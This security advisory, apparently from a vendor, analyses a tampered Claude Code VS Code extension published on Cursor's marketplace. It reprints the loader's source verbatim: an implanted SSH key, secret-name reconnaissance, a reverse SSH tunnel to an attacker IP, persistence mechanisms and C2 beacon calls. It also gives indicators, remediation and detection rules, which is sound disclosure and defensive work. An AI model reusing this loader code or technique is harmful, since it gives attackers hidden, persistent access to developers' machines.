On October 29, 2026, versions 2.1.312 and 2.1.313 of the Claude Code VS Code extension, anthropic.claude-code, were published to Cursor's VS Code Extension Marketplace for macOS and Windows carrying a malicious loader embedded in its extension.js bundle.
The malicious build is the official extension in every respect except one: extension.js carries a small self-contained loader embedded in the legitimate bundle. The malicious file (SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15, 3,692,922 bytes) is roughly 7 KB larger than the preceding clean release, and sandbox telemetry shows the payload executes under plain Node.js with no VS Code APIs: loading the extension module is enough. No Claude conversation is needed, and no package-manager lifecycle hooks are involved. This was not an Anthropic release: the build repackages the official extension, and per Cursor's notice the malicious version was not developed by Anthropic.
Background: the extension and Cursor's marketplace
The Claude Code VS Code extension is Anthropic's official IDE integration. This incident involved tampered copies of versions 2.1.312 and 2.1.313 distributed through Cursor's VS Code Extension Marketplace for macOS and Windows, under the legitimate extension identifier.
According to Anthropic, a malicious actor used access to Cursor's marketplace to publish the tampered extension. Anthropic did not build or publish it, and its systems, employee laptops, and official distribution channels were not compromised in this incident.
Having version 2.1.312 or 2.1.313 installed does not, by itself, confirm compromise. Check the download source, time window, and host indicators described below.
Attack flow
Inside the loader: recovered source analysis
Update (November 1, 2026): we recovered the malicious extension.js sample (from MalwareBazaar, hash-verified against the anchor above) and completed a full static analysis of the embedded loader. The sample was never executed; everything in this section comes from reading the recovered source, cross-checked against the sandbox telemetry already cited.
The tampering is a pure prepend. The malicious file is the clean Open-VSX 2.1.312 extension.js with a single 7,386-byte loader IIFE spliced in front: after the loader, all 3,656,941 remaining bytes are identical to the clean 2.1.312 bundle we independently downloaded (3,692,922 = 3,685,536 + 7,386 exactly). There is no second backdoor deeper in the 3.6 MB bundle, and every indicator string in the IoC table below lives inside those first 7 KB. Two further consequences: the bundle inside the "2.1.313" VSIX still self-identifies as version:"2.1.312" (the bumped number existed only in the repackaged manifest), and the attacker demonstrably worked from the official 2.1.312 build artifact.
The loader is not obfuscated at all: it is machine-minified JavaScript with plaintext constants, and the only encoding anywhere is standard base64 wrapping the tunnel private key. That is also why the fleet-sweep grep works. On load it runs six stages, each wrapped in a swallowing try/catch that records a status string instead of failing:
- Recon. Builds a JSON object with hostname, username, platform, CPU arch, home and working directories, the output of
git config --global user.email, and the names (never values) of up to 40 environment variables matching/KEY|TOKEN|SECRET|PASS|AWS|GCP/i. The name list tells the operator which credentials exist on the machine without transmitting them over plain HTTP. - SSH key implant. Appends the
svc-telemetryEd25519 key to~/.ssh/authorized_keysunless the marker is already present (making the implant idempotent), fixing permissions to 700/600. - Enable SSH. Linux:
systemctl enable --now sshdwith three fallbacks. macOS:sudo -n systemsetup -setremotelogin on, which succeeds only where passwordless sudo is configured. Windows: installs the OpenSSH.Server capability and startssshd. - Reverse tunnel. Drops the base64-decoded tunnel key at
$TMPDIR/.stk_+md5(hostname + home)truncated to 10 hex chars (a name derived from the host, so the same machine always produces the same file), then loopsssh -N -R '*:0:localhost:22'to[email protected]every 60 seconds, preferringautosshwhen installed. The remote port of0lets the server assign the listener, andBatchMode,StrictHostKeyChecking=no, andUserKnownHostsFile=/dev/nullkeep it silent and prompt-free. - Persistence (the
~/.config/.smtscript re-derives its own key copy, so it survives temp-dir cleanup): Linux installs a cron@rebootentry; macOS writes thecom.apple.sysmondLaunchAgent withRunAtLoadandKeepAlive; Windows tries aSysMonscheduled task running as SYSTEM (elevated sessions only) and falls back to copyingsysmon.cmdinto the Startup folder. - Beacon. After 1.5 seconds, resolves the public IP via
ifconfig.me(fallbackapi.ipify.org) and POSTs the JSON to:8099/beaconon both127.0.0.1and the C2.
Recovered source, key constants and tunnel loop (verbatim, reformatted for reading; strings and identifiers are unchanged from the sample):
var PUB =
'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry';
var TUNKEY = 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K...'; // base64 Ed25519 private key
var TUNHOST = '134.209.82.225';
var TUNUSER = 'tunnel';
var d = {
host: os.hostname(),
user: os.userInfo().username,
platform: PLAT,
arch: process.arch,
home: HOME,
cwd: process.cwd(),
envKeys: Object.keys(process.env)
.filter(function (k) {
return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k);
})
.slice(0, 40),
};
// tunnel loop (macOS/Linux branch; Windows uses a hidden PowerShell while-loop)
var o =
" -N -R '*:0:localhost:22' -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" +
' -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes' +
' -o ConnectTimeout=10 -o BatchMode=yes -o IdentitiesOnly=yes -i "' +
kf +
'" ' +
TUNUSER +
'@' +
TUNHOST;
det(
'while true; do if command -v autossh >/dev/null 2>&1; then autossh -M 0' +
o +
'; else ssh' +
o +
'; fi; sleep 60; done >/dev/null 2>&1 &',
);
// beacon, 1.5 s after load
post('127.0.0.1', 8099);
post(TUNHOST, 8099);The beacon doubles as a per-stage status report: alongside the recon fields it carries sshKey: added|present, sshd/remoteLogin state, tunnel: started|running, and persist: cron|launchd|schtasks|startup, so the operator sees, per victim, exactly which persistence mechanism took hold. Notably absent from the source: no credential values are read, no Claude or VS Code data is touched, and there is no second-stage download. The loader's entire capability is persistent SSH ingress plus a reconnaissance report; the real risk to an exposed machine is what the operator did, or could have done, through interactive access via the svc-telemetry key while the tunnel was up. Remediation guidance and the full indicator set are in the sections below.
Indicators of Compromise
Not indicators on their own: ifconfig.me and api.ipify.org are legitimate public-IP services, and sandbox telemetry showed connections to ordinary Microsoft infrastructure; access alone does not indicate compromise.
Remediation
These steps apply to Claude Code extension versions 2.1.312 and 2.1.313 on macOS and Windows. Having either version installed does not, by itself, mean your machine is compromised. Check whether you downloaded or updated the extension from Cursor's VS Code Extension Marketplace between 2:27 a.m. and 1:35 p.m. PT on October 29, 2026 (09:27–20:35 UTC), then check for evidence of impact.
For the exact check commands and remediation scripts, see Cursor's official security notice.
How StepSecurity Helps
Threat Center
StepSecurity Enterprise customers can visit the Threat Center for the complete alert on this incident, including the full IOC set, affected version details, and the machines in their organization that installed anthropic.claude-code 2.1.313.

Dev Machine Guard
Extension Inventory and Version-Based Alerts
StepSecurity Dev Machine Guard flags anthropic.claude-code versions 2.1.312 and 2.1.313 as malicious on developer machines. This is version-level intelligence: an alert identifies a machine to investigate, not confirmed impact. For installations of 2.1.312 or 2.1.313, use the download window and Remediation checks above to determine whether the machine is affected.

Malicious File Detection
Dev Machine Guard’s Malicious Files feature provides another way to identify the compromised extension on developer machines. StepSecurity has deployed the cursor-claude-code-extension-backdoor scanning rule to detect the malicious extension.js file shipped in the trojanized Claude Code versions 2.1.312 and 2.1.313 distributed through Cursor’s marketplace.
The screenshot below shows the rule detecting the compromised extension on a developer machine by matching the file’s SHA-256 hash against the known malicious payload. The finding includes the affected device, file path, and matching evidence, helping security teams identify installations containing the malicious file and prioritize remediation.
StepSecurity maintains these detection rules centrally and applies them automatically across enrolled developer machines, with no additional configuration required.





